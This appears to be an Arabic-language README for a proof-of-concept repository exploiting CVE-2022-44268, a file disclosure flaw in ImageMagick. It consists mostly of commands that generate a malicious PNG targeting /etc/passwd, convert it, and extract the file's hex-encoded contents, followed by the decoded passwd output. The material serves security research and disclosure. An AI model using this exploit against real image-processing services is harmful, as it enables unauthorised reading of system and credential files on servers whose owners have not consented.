sybil-scan/imagemagick-lfi-pocإثبات المفهوم (PoC) لثغرة تضمين الملفات المحلية (LFI) في ImageMagick [CVE-2022-44268]
اكتشف الباحثون في MetabaseQ ثغرة CVE-2022-44268، حيث أن ImageMagick 7.1.0-49 عرضة لكشف المعلومات. عند تحليل صورة PNG (مثلاً لتغيير الحجم)، قد تحتوي الصورة الناتجة على محتوى ملف عشوائي عن بُعد (إذا كان لدى ثنائي ImageMagick صلاحيات لقراءته).
(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /etc/passwd
[>] PoC PNG generated > exploit.png
(~)>>> convert exploit.png result.png
(~)>>> identify -verbose result.png
Raw profile type، ستلاحظ محتويات :/etc/passwd(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin